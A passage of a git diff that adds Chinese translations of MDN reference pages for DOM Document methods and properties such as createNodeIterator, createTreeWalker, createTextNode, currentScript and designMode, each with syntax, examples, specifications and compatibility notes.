<a class="internal" href="/en/DOM/NodeIterator" title="En/DOM/NodeIterator"><code>NodeIterator</code></a> 对象。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre>const nodeIterator = document.createNodeIterator(<var>root</var>[, <var>whatToShow</var>[, <var>filter</var>]]);</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><code>root</code></dt> + <dd> {{ domxref("NodeIterator") }}遍历起始处的根节点。</dd> + <dt><code>whatToShow</code> {{ optional_inline() }}</dt> + <dd>是一个可选的无符号长整型（<code>unsigned long</code>）， 是由节点过滤器（<code><a href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter" title="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter">NodeFilter</a></code>）中的常量属性定义的位掩码。这是筛选特定类型节点的便捷方式。其默认值是 <code>0xFFFFFFFF</code> ，代表 <code>SHOW_ALL</code> 常量。 + <table class="standard-table"> + <tbody> + <tr> + <td class="header">常量</td> + <td class="header">数字值</td> + <td class="header">描述</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_ALL</code></td> + <td><code>-1</code> (即<code>unsigned long</code> 的最大值)</td> + <td>显示所有节点。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_ATTRIBUTE</code> {{deprecated_inline}}</td> + <td><code>2</code></td> + <td>显示 {{ domxref("Attr") }} 特性节点。这仅在创建以{{ domxref("Attr") }} 特性节点为根节点的{{ domxref("TreeWalker") }}时有意义；在这种情况下，这意味着该特性节点会出现在迭代或遍历的第一位。因为特性节点不会是其他节点的子代，遍历文档树时，特性节点不会出现。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_CDATA_SECTION</code> {{deprecated_inline}}</td> + <td><code>8</code></td> + <td>显示 {{ domxref("CDATASection") }} 节点。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_COMMENT</code></td> + <td><code>128</code></td> + <td>显示 {{ domxref("Comment") }} 节点。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_DOCUMENT</code></td> + <td><code>256</code></td> + <td>显示 {{ domxref("Document") }} 节点。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_DOCUMENT_FRAGMENT</code></td> + <td><code>1024</code></td> + <td>显示 {{ domxref("DocumentFragment") }} 节点。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_DOCUMENT_TYPE</code></td> + <td><code>512</code></td> + <td>显示 {{ domxref("DocumentType") }} 节点。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_ELEMENT</code></td> + <td><code>1</code></td> + <td>显示 {{ domxref("Element") }} 节点。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_ENTITY</code> {{deprecated_inline}}</td> + <td><code>32</code></td> + <td>显示 {{ domxref("Entity") }} 节点。 这仅在创建以{{ domxref("Entity") }}实体节点为根节点的{{ domxref("TreeWalker") }}时有意义；在这种情况下，这意味着该实体节点会出现在迭代或遍历的第一位。因为实体节点不会是其他节点的子代，遍历文档树时，实体节点不会出现。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_ENTITY_REFERENCE</code> {{deprecated_inline}}</td> + <td><code>16</code></td> + <td>显示 {{ domxref("EntityReference") }} 节点。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_NOTATION</code> {{deprecated_inline}}</td> + <td><code>2048</code></td> + <td>显示 {{ domxref("Entity") }} 节点。 这仅在创建以{{ domxref("Notation") }}符号节点为根节点的{{ domxref("TreeWalker") }}时有意义；在这种情况下，这意味着该符号节点会出现在迭代或遍历的第一位。因为符号节点不会是其他节点的子代，遍历文档树时，符号节点不会出现。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_PROCESSING_INSTRUCTION</code></td> + <td><code>64</code></td> + <td>显示 {{ domxref("ProcessingInstruction") }} 节点。</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_TEXT</code></td> + <td><code>4</code></td> + <td>显示 {{ domxref("Text") }} 节点。</td> + </tr> + </tbody> + </table> + </dd> + <dt><code>filter</code> {{ optional_inline() }}</dt> + <dd>是实现 {{ domxref("NodeFilter") }} 接口的对象; 其 <code>acceptNode()</code> 方法会对从根节点开始到子树中的每个节点都调用一次，哪些节点需要进入迭代节点列表等待调用则取决于whatToShow参数（也可以使用一个简单的回调函数代替<code>acceptNode()</code>）。该方法需要返回下列常量之一： <code>NodeFilter.FILTER_ACCEPT</code> ，<code>NodeFilter.FILTER_REJECT</code> 或 <code>NodeFilter.FILTER_SKIP</code>（见<a href="https://developer.mozilla.org/zh-CN/docs/Web/API/NodeFilter">NodeFilter</a>），参见{{ anch("示例") }}。</dd> +</dl> + +<div class="note"><strong>注意： </strong>在Gecko12.0{{ geckoRelease("12.0") }}以前，这个方法接收第四个可选的参数（<code>entityReferenceExpansion</code>），这不是DOM4 规范中的一部分，因此被移除了。这个参数表示实体引用节点的子代对于迭代器是否可见。因为浏览器不会创建这样的节点，这个参数没有任何作用。</div> + +<h2 id="Example" name="Example">示例</h2> + +<pre>const nodeIterator = document.createNodeIterator( + document.body, + NodeFilter.SHOW_ELEMENT, + { + acceptNode(node) { + return node.nodeName.toLowerCase() === 'p' ? NodeFilter.FILTER_ACCEPT : NodeFilter.FILTER_REJECT; + } + } +); +const pars = []; +let currentNode; + +while (currentNode = nodeIterator.nextNode()) { + pars.push(currentNode); +} +</pre> + +<h2 id="Specification" name="Specification">规范</h2> + +<table> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">注释</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-createnodeiterator', 'document.createNodeIterator')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{Compat("api.Document.createNodeIterator")}}</p> diff --git a/files/zh-cn/web/api/document/creatensresolver/index.html b/files/zh-cn/web/api/document/creatensresolver/index.html new file mode 100644 index 0000000000..001922bc57 --- /dev/null +++ b/files/zh-cn/web/api/document/creatensresolver/index.html @@ -0,0 +1,44 @@ +--- +title: Document.createNSResolver() +slug: Web/API/Document/createNSResolver +translation_of: Web/API/Document/createNSResolver +--- +<p>{{ ApiRef("DOM") }}</p> + +<p>创建一个 <code>XPathNSResolver</code> which resolves namespaces with respect to the definitions in scope for 指定节点</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="eval"><em>nsResolver</em> = document.createNSResolver(<em>node</em>); +</pre> + +<h3 id="参数">参数</h3> + +<ul> + <li><code>node</code> is the node to be used as a context for namespace resolution.</li> +</ul> + +<h3 id="返回值">返回值</h3> + +<ul> + <li><code>nsResolver</code> is an XPathNSResolver object.</li> +</ul> + +<h2 id="Notes" name="Notes">注意</h2> + +<p>Adapts any DOM node to resolve namespaces so that an <a href="/en/XPath" title="en/XPath">XPath</a> expression can be easily evaluated relative to the context of the node where it appeared within the document. This adapter works like the DOM Level 3 method <code>lookupNamespaceURI</code> on nodes in resolving the <code>namespaceURI</code> from a given prefix using the current information available in the node's hierarchy at the time <code>lookupNamespaceURI</code> is called. Also correctly resolves the implicit <code>xml</code> prefix.</p> + +<p>Note, XPath defines QNames without prefix to match only elements in the null namespace. There is no way in XPath to pick up the default namespace as applied to a regular element reference (e.g., <code>p[@id='_myid'</code>] for <code><span class="nowiki">xmlns='http://www.w3.org/1999/xhtml'</span></code>). To match default elements in a non-null namespace, you either have to refer to a particular element using a form such as <code>*namespace-uri()=<span class="nowiki">http://www.w3.org/1999/xhtml</span> and name()=p[@id='_myid']</code> (<a href="/en/Introduction_to_using_XPath_in_JavaScript#Using_XPath_functions_to_reference_elements_with_its_default_namespace" title="en/Introduction_to_using_XPath_in_JavaScript#Using_XPath_functions_to_reference_elements_with_its_default_namespace">this approach</a> works well for dynamic XPath expressions where the namespaces might not be known) or use prefixed name tests, and create a namespace resolver mapping the prefix to the namespace. Read more on <a href="/en/Introduction_to_using_XPath_in_JavaScript#Implementing_a_User_Defined_Namespace_Resolver" title="en/Introduction_to_using_XPath_in_JavaScript#Implementing_a_User_Defined_Namespace_Resolver">how to create a user defined namespace resolver</a> if you wish to take the latter approach.</p> + +<p><code>createNSResolver</code> was introduced in DOM Level 3.</p> + +<h2 id="See_also" name="See_also">参见</h2> + +<ul> + <li><a href="/en/DOM/document.evaluate" title="en/DOM/document.evaluate">document.evaluate</a></li> + <li><a href="/en/Introduction_to_using_XPath_in_JavaScript" title="en/Introduction_to_using_XPath_in_JavaScript">Introduction to using XPath in JavaScript</a></li> +</ul> + +<h2 id="Specification" name="Specification">规范</h2> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-3-XPath/xpath.html#XPathEvaluator-createNSResolver">DOM Level 3 XPath Specification: createNSResolver</a></p> diff --git a/files/zh-cn/web/api/document/createprocessinginstruction/index.html b/files/zh-cn/web/api/document/createprocessinginstruction/index.html new file mode 100644 index 0000000000..7061666c12 --- /dev/null +++ b/files/zh-cn/web/api/document/createprocessinginstruction/index.html @@ -0,0 +1,46 @@ +--- +title: Document.createProcessingInstruction() +slug: Web/API/Document/createProcessingInstruction +translation_of: Web/API/Document/createProcessingInstruction +--- +<p id="Summary">{{APIRef("DOM")}}</p> + +<p><code>createProcessingInstruction() </code>创建一个新的处理指令节点，并返回。</p> + +<h2 id="Syntax" name="Syntax">Syntax</h2> + +<pre class="eval"><em>Processing instruction node</em> = document.createProcessingInstruction(target, data) +</pre> + +<h3 id="Parameters" name="Parameters">Parameters</h3> + +<ul> + <li><code>Processing Instruction node</code> 是 {{ domxref("ProcessingInstruction") }} 节点.</li> + <li><code>target</code> 是指处理指令节点的target部分 (i.e., <?<em>target</em> ... ?></li> + <li><code>data</code> 是一个字符串，包含了将要添加到节点内的数据。</li> +</ul> + +<h3 id="Notes" name="Notes">异常</h3> + +<dl> + <dt><code>NOT_SUPPORTED_ERR</code></dt> + <dd>Thrown if you attempt to create a processing instruction node on an HTML document in Gecko 9 {{ geckoRelease("9.0") }} or earlier. In Gecko 10.0 {{ geckoRelease("10.0") }} and later, you can use this method on HTML documents.</dd> + <dt><code>DOM_INVALID_CHARACTER</code></dt> + <dd>Thrown if you try to add an invalid processing instruction target (it should be an XML name besides any case combination of the letters "xml") or if the closing processing instruction sequence ("?>") is added as part of the data, so unescaped user-provided data cannot be safely used without escaping or otherwise dealing with such situations.</dd> +</dl> + +<h2 id="Example" name="Example">实例</h2> + +<pre>var docu = new DOMParser().parseFromString('<xml></xml>', "application/xml") + +var pi = docu.createProcessingInstruction('xml-stylesheet', 'href="mycss.css" type="text/css"'); + +docu.insertBefore(pi, docu.firstChild); + +alert(new XMLSerializer().serializeToString(docu)); +// 弹出框内容: <?xml-stylesheet href="mycss.css" type="text/css"?><xml/> +</pre> + +<h2 id="Specification" name="Specification">规范</h2> + +<p><a class="external" href="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-document-createprocessinginstruction">DOM 4: createProcessingInstruction</a></p> diff --git a/files/zh-cn/web/api/document/createrange/index.html b/files/zh-cn/web/api/document/createrange/index.html new file mode 100644 index 0000000000..a4e854d43b --- /dev/null +++ b/files/zh-cn/web/api/document/createrange/index.html @@ -0,0 +1,36 @@ +--- +title: Document.createRange() +slug: Web/API/Document/createRange +tags: + - API + - Range +translation_of: Web/API/Document/createRange +--- +<div>{{APIRef("DOM")}}</div> + +<p>返回一个 {{domxref("Range")}} 对象。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox">range = document.createRange(); +</pre> + +<p><code>range</code> 是一个 {{domxref("Range")}} 对象。</p> + +<h2 id="Example" name="Example">例子</h2> + +<pre class="brush:js">var range = document.createRange(); + +range.setStart(startNode, startOffset); +range.setEnd(endNode, endOffset); +</pre> + +<h2 id="Notes" name="Notes">注意</h2> + +<p>一旦一个 Range 对象被建立，在使用他的大多数方法之前需要去设置他的临界点。</p> + +<h2 id="Specification" name="Specification">Specification</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/ranges.html#Level2-DocumentRange-method-createRange">DOM Level 2 Range: DocumentRange.createRange</a></li> +</ul> diff --git a/files/zh-cn/web/api/document/createtextnode/index.html b/files/zh-cn/web/api/document/createtextnode/index.html new file mode 100644 index 0000000000..82ccfc772a --- /dev/null +++ b/files/zh-cn/web/api/document/createtextnode/index.html @@ -0,0 +1,85 @@ +--- +title: Document.createTextNode() +slug: Web/API/Document/createTextNode +tags: + - API + - DOM + - Document + - 参考 + - 方法 +translation_of: Web/API/Document/createTextNode +--- +<div>{{APIRef("DOM")}}</div> + +<p>创建一个新的{{domxref("Text", "文本")}}节点。这个方法可以用来转义 HTML 字符。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var <var>text</var> = document.createTextNode(<var>data</var>); +</pre> + +<ul> + <li><em><code>text</code></em> 是一个文本节点。</li> + <li><em><code>data</code></em> 是一个字符串，包含了要放入文本节点的内容。</li> +</ul> + +<h2 id="示例">示例</h2> + +<pre class="brush: html"><!DOCTYPE html> +<html lang="zh-CN"> +<head> +<title>createTextNode 示例</title> +</head> + +<body> + <button value="好耶！">好耶！</button> + <button value="坏耶！">坏耶！</button> + <button value="Rikka! ">Rikka!</button> + <button value="日卡卡！">日卡卡！</button> + + <hr /> + + <p id="p1">段落的第一行。</p> + + <script> + const p1 = document.getElementById("p1"), + buttons = document.body.querySelectorAll(":scope > button"); + function addTextNode(text) { + p1.appendChild( document.createTextNode(text) ); + } + buttons.forEach(button => + button.addEventListener("click", () => + addTextNode(button.value) + ) + ); + </script> +</body> +</html> +</pre> + +<p>{{EmbedLiveSample('Example')}}</p> + +<h3 id="规范">规范</h3> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-createtextnode', 'Document: createTextNode')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document.createTextNode")}}</p> diff --git a/files/zh-cn/web/api/document/createtreewalker/index.html b/files/zh-cn/web/api/document/createtreewalker/index.html new file mode 100644 index 0000000000..5f39fe11ed --- /dev/null +++ b/files/zh-cn/web/api/document/createtreewalker/index.html @@ -0,0 +1,162 @@ +--- +title: document.createTreeWalker() +slug: Web/API/Document/createTreeWalker +tags: + - API + - DOM + - Reference + - 方法 遍历 迭代器 +translation_of: Web/API/Document/createTreeWalker +--- +<div>{{ApiRef("Document")}}</div> + +<p><strong><code>document.createTreeWalker()</code></strong> 方法，能创建并返回一个 {{domxref("TreeWalker")}} 对象。</p> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="syntaxbox"><em>treeWalker</em> = <em>document</em>.createTreeWalker(<em>root</em>, <em>whatToShow</em>, <em>filter</em>, <em>entityReferenceExpansion</em>); +</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><code><em>root </em></code></dt> + <dd>是遍历这个 {{domxref("TreeWalker")}} 的根节点(root {{domxref("Node")}})。通常这是文档的一个元素。</dd> + <dt><em>whatToShow {{optional_inline}}</em></dt> + <dd>一个无符号长整型，表示一个整合自 <code><a href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter" title="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html#Traversal-NodeFilter">NodeFilter</a></code> 常量属性的位掩码。这是筛选特定类型节点的便捷方式。默认为 0xFFFFFFFF，表示 <code>SHOW_ALL</code> 常量。 + <table class="standard-table"> + <tbody> + <tr> + <td class="header">常量</td> + <td class="header">数值</td> + <td class="header">描述</td> + </tr> + <tr> + <td><code>NodeFilter.SHOW_ALL</code></td> + <td><code>-1</code> (that is the max value of <code>unsigned long</code>)</td> + <td>显示所有节点。</td> + </tr> + <tr> + <td><code><code>NodeFilter.</code>SHOW_ATTRIBUTE</code> {{deprecated_inline}}</td> + <td><code>2</code></td> + <td>显示特性{{ domxref("Attr") }}节点。这只在当以一个特性节点{{ domxref("Attr") }}为起点节点的{{ domxref("TreeWalker") }} 中有意义；在这种情况下，这意味着特性节点会出现在迭代或遍历第一次出现的位置。因为特性节点没有其他节点一样的子节点，所以在文档树中的遍历不会出现特性节点。</td> + </tr> + <tr> + <td><code><code>NodeFilter.</code>SHOW_CDATA_SECTION</code> {{deprecated_inline}}</td> + <td><code>8</code></td> + <td>显示CDTA {{domxref("CDATASection")}} 节点.</td> + </tr> + <tr> + <td><code><code>NodeFilter.</code>SHOW_COMMENT</code></td> + <td><code>128</code></td> + <td>显示注释{{domxref("Comment")}}节点</td> + </tr> + <tr> + <td><code><code>NodeFilter.</code>SHOW_DOCUMENT</code></td> + <td><code>256</code></td> + <td>显示文档{{domxref("Document")}}节点</td> + </tr> + <tr> + <td><code><code>NodeFilter.</code>SHOW_DOCUMENT_FRAGMENT</code></td> + <td><code>1024</code></td> + <td>显示文档片段{{domxref("DocumentFragment")}}节点</td> + </tr> + <tr> + <td><code><code>NodeFilter.</code>SHOW_DOCUMENT_TYPE</code></td> + <td><code>512</code></td> + <td>显示文档类型{{domxref("DocumentType")}}节点</td> + </tr> + <tr> + <td><code><code>NodeFilter.</code>SHOW_ELEMENT</code></td> + <td><code>1</code></td> + <td>显示元素{{domxref("Element")}}节点</td> + </tr> + <tr> + <td><code><code>NodeFilter.</code>SHOW_ENTITY</code> {{deprecated_inline}}</td> + <td><code>32</code></td> + <td>显示实体{{domxref("Entity")}}节点。This is meaningful only when creating a {{ domxref("TreeWalker") }} with an {{ domxref("Entity") }} node as its root; in this case, it means that the {{ domxref("Entity") }} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.</td> + </tr> + <tr> + <td><code><code>NodeFilter.</code>SHOW_ENTITY_REFERENCE</code> {{deprecated_inline}}</td> + <td><code>16</code></td> + <td>显示实体引用 {{ domxref("EntityReference") }} 节点。</td> + </tr> + <tr> + <td><code><code><code>NodeFilter.</code></code>SHOW_NOTATION</code> {{deprecated_inline}}</td> + <td><code>2048</code></td> + <td>显示符号{{ domxref("Notation") }} 节点。 This is meaningful only when creating a {{ domxref("TreeWalker") }} with a {{ domxref("Notation") }} node as its root; in this case, it means that the {{ domxref("Notation") }} node will appear in the first position of the traversal. Since entities are not part of the document tree, they do not appear when traversing over the document tree.</td> + </tr> + <tr> + <td><code><code>NodeFilter.</code>SHOW_PROCESSING_INSTRUCTION</code></td> + <td><code>64</code></td> + <td>显示处理指令 {{ domxref("ProcessingInstruction") }}节点。</td> + </tr> + <tr> + <td><code><code>NodeFilter.</code>SHOW_TEXT</code></td> + <td><code>4</code></td> + <td>顯示文字節點({{ domxref("Text") }} nodes).</td> + </tr> + </tbody> + </table> + </dd> + <dt><em>filter <em>{{optional_inline}}</em></em></dt> + <dd>一个可选的 {{domxref("NodeFilter")}}，即一个具有 <code>acceptNode</code> 方法的对象，此方法被 {{domxref("TreeWalker")}} 调用以决定是否接受已通过 <code>whatToShow</code> 检查的节点。</dd> + <dt><em>entityReferenceExpansion<em> {{optional_inline}}</em></em> <em>{{obsolete_inline}}</em></dt> + <dd>一个 {{domxref("Boolean")}} 标识，指示当丢弃一个 {{domxref("EntityReference")}} 时是否同时丢弃其子树。</dd> +</dl> + +<h3 id="返回值">返回值</h3> + +<p>一个新的 {{domxref("TreeWalker")}} 对象。</p> + +<h2 id="Example" name="Example">示例</h2> + +<p>以下示例遍历 body 下的所有节点，将节点集合缩小至元素，简单地传递每个可接受的节点（也可在 <code>acceptNode()</code> 方法中缩小集合），然后利用创建的 TreeWalker 迭代器在节点上推进（现在是所有的元素）并把它们推入一个数组。</p> + +<pre>var treeWalker = document.createTreeWalker( + document.body, + NodeFilter.SHOW_ELEMENT, + { acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; } }, + false +); + +var nodeList = []; +var currentNode = treeWalker.currentNode; + +while(currentNode) { + nodeList.push(currentNode); + currentNode = treeWalker.nextNode(); +}</pre> + +<h2 id="Specification" name="Specification">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-createtreewalker', 'Document.createTreeWalker')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td>Removed the <code>expandEntityReferences</code> parameter.<br> + Made the <code>whatToShow</code> and <code>filter</code> parameters optionals.</td> + </tr> + <tr> + <td>{{SpecName('DOM2 Traversal_Range', 'traversal.html#NodeIteratorFactory-createTreeWalker', 'Document.createTreeWalker')}}</td> + <td>{{Spec2('DOM2 Traversal_Range')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{Compat("api.Document.createTreeWalker")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li>该函数创建的接口对象：{{domxref("TreeWalker")}}。</li> +</ul> diff --git a/files/zh-cn/web/api/document/currentscript/index.html b/files/zh-cn/web/api/document/currentscript/index.html new file mode 100644 index 0000000000..a54cb27eb8 --- /dev/null +++ b/files/zh-cn/web/api/document/currentscript/index.html @@ -0,0 +1,68 @@ +--- +title: document.currentScript +slug: Web/API/Document/currentScript +tags: + - API + - DOM + - Property + - Reference + - 参考 + - 属性 +translation_of: Web/API/Document/currentScript +--- +<div>{{ApiRef("DOM")}}</div> + +<p><code><strong>Document.currentScript</strong></code> 属性返回当前正在运行的脚本所属的 {{HTMLElement("script")}} 元素。调用此属性的脚本<a href="https://github.com/whatwg/html/issues/997">不能是 JavaScript 模块</a>，模块应当使用 {{JSxRef("Statements/import%2Emeta", "import.meta")}} 对象。</p> + +<p>值得注意的是，如果当前正在执行的代码是被其他代码作为回调函数或者事件处理函数调用的，那么 <code>currentScript</code> 属性不会指向任何 {{HTMLElement("script")}} 元素，而是会返回 <code>null</code>。这个属性只在脚本被解析后首次运行时有效。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var <var>curScriptElement</var> = <var>document</var>.currentScript; +</pre> + +<h2 id="示例">示例</h2> + +<p>下例演示了如何检测当前正在执行脚本的 {{HTMLElement("script")}} 元素是否是以异步模式执行的。</p> + +<pre class="brush:js">if (document.currentScript.async) { + console.log("Executing asynchronously"); +} else { + console.log("Executing synchronously"); +}</pre> + +<p><a href="/samples/html/currentScript.html">View Live Examples</a></p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "dom.html#dom-document-currentscript", "Document.currentScript")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<div>{{Compat("api.Document.currentScript")}}</div> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>{{JSxRef("Statements/import%2Emeta", "import.meta")}}</li> + <li>{{HTMLElement("script")}}</li> + <li>{{DOMxRef("document.onafterscriptexecute")}}</li> + <li>{{DOMxRef("document.onbeforescriptexecute")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/defaultview/index.html b/files/zh-cn/web/api/document/defaultview/index.html new file mode 100644 index 0000000000..a54db93990 --- /dev/null +++ b/files/zh-cn/web/api/document/defaultview/index.html @@ -0,0 +1,33 @@ +--- +title: Document.defaultView +slug: Web/API/Document/defaultView +tags: + - defaultView +translation_of: Web/API/Document/defaultView +--- +<div>{{ ApiRef() }}</div> + +<h3 id="Summary" name="Summary">概述</h3> + +<p>在浏览器中，该属性返回当前 <code>document </code>对象所关联的 <code><a href="/zh-cn/DOM/window" title="zh-cn/DOM/window">window</a></code> 对象，如果没有，会返回 <code>null</code>。</p> + +<h3 id="Syntax" name="Syntax">语法</h3> + +<pre class="eval">var win = document.defaultView; +</pre> + +<p>该属性只读.</p> + +<h3 id="Notes" name="Notes">备注</h3> + +<p>根据 <a class="external" href="http://www.quirksmode.org/dom/w3c_html.html" title="http://www.quirksmode.org/dom/w3c_html.html">quirksmode</a>，IE 9 以下版本不支持 <code>defaultView</code>。</p> + +<h3 id="Specification" name="Specification">规范</h3> + +<ul> + <li><a href="/zh-cn/HTML/HTML5" title="zh-cn/HTML/HTML5">HTML5: defaultView</a></li> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Views/views.html#Views-DocumentView-defaultView">DOM Level 2 Views: defaultView</a></li> + <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Views/" title="http://www.w3.org/TR/DOM-Level-3-Views/">DOM Level 3 Views</a> (Only developed to Working Group Note and not implemented)</li> +</ul> + +<p>{{ languages( {"pl": "pl/DOM/document.defaultView","en": "en/DOM/document.defaultView" } ) }}</p> diff --git a/files/zh-cn/web/api/document/designmode/index.html b/files/zh-cn/web/api/document/designmode/index.html new file mode 100644 index 0000000000..feb7070b19 --- /dev/null +++ b/files/zh-cn/web/api/document/designmode/index.html @@ -0,0 +1,58 @@ +--- +title: Document.designMode +slug: Web/API/Document/designMode +tags: + - API + - Document + - Property + - Reference + - 参考 + - 属性 + - 文档 + - 编辑 +translation_of: Web/API/Document/designMode +--- +<div>{{ ApiRef()}}</div> + +<p><strong><code>document.designMode</code></strong> 控制整个文档是否可编辑。有效值为 <code>"on"</code> 和 <code>"off"</code> 。根据规范，该属性默认为 <code>"off"</code> 。Firefox 遵循此标准。早期版本的 Chrome 和 IE默认为 <code>"inherit"</code> 。从 Chrome 43 开始，默认值为 <code>"off"</code> ，并且不再支持 <code>"inherit"</code>。在 IE6 到 IE10 中，该值为大写。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">var mode = document.designMode; +document.designMode = "on" || "off";</pre> + +<h2 id="示例">示例</h2> + +<p>使一个 {{HTMLElement("iframe")}} 的文档可编辑：</p> + +<pre class="brush: js">iframeNode.contentDocument.designMode = "on";</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', '#making-entire-documents-editable:-the-designmode-idl-attribute', 'designMode')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document.designMode")}}</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="/zh-CN/docs/Rich-Text_Editing_in_Mozilla">Mozilla 软件中的富文本编辑</a></li> + <li>{{domxref("HTMLElement.contentEditable")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/dir/index.html b/files/zh-cn/web/api/document/dir/index.html new file mode 100644 index 0000000000..c16c102435 --- /dev/null +++ b/files/zh-cn/web/api/document/dir/index.html @@ -0,0 +1,98 @@ +--- +title: Document.dir +slug: Web/API/Document/dir +translation_of: Web/API/Document/dir +--- +<p>{{ApiRef("")}}</p> + +<p>Document.dir的本质是DOMString，代表了文档的文字朝向，是从左到右(默认)还是从右到左。</p> + +<p>'rtl'(right to left)代表从右到左，'ltr'(left to right)代表从左到右。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">console.log(document.dir);// "" (译者添加) +document.dir = "ltr"//(默认); +document.dir = "rtl"; +<em>dirStr</em> = <em>document.</em>dir; +<em>document.dir</em> = <em>dirStr;</em> +</pre> + +<p>（译者注：第一次调用该属性时，可能返回空字符串""，译者环境：chrome，版本 53.0.2785.116 m）</p> + +<h2 id="Specifications" name="Specifications">说明</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">评论</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("HTML WHATWG", "dom.html#the-dir-attribute:dom-dir", "Document.dir")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td>Initial specification</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}} [1]</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatUnknown() }}</td> + <td>{{CompatVersionUnknown}} [1]</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] 在Firefox 23之前， <code>Document.dir属性返回</code> "ltr" 无论在根元素{{htmlelement("html")}} 的dir属性上如何设置。 并且如果在文档标签<code><html>上设置了方向</code>, <code>Document.dir在改变时不会生效</code>(虽然随后检索<code>Document.dir属性发现他的确改变了</code>)。 但是, 如果这个属性没有被设置在标签 <code><html></code> 上并且改变的该属性状态， 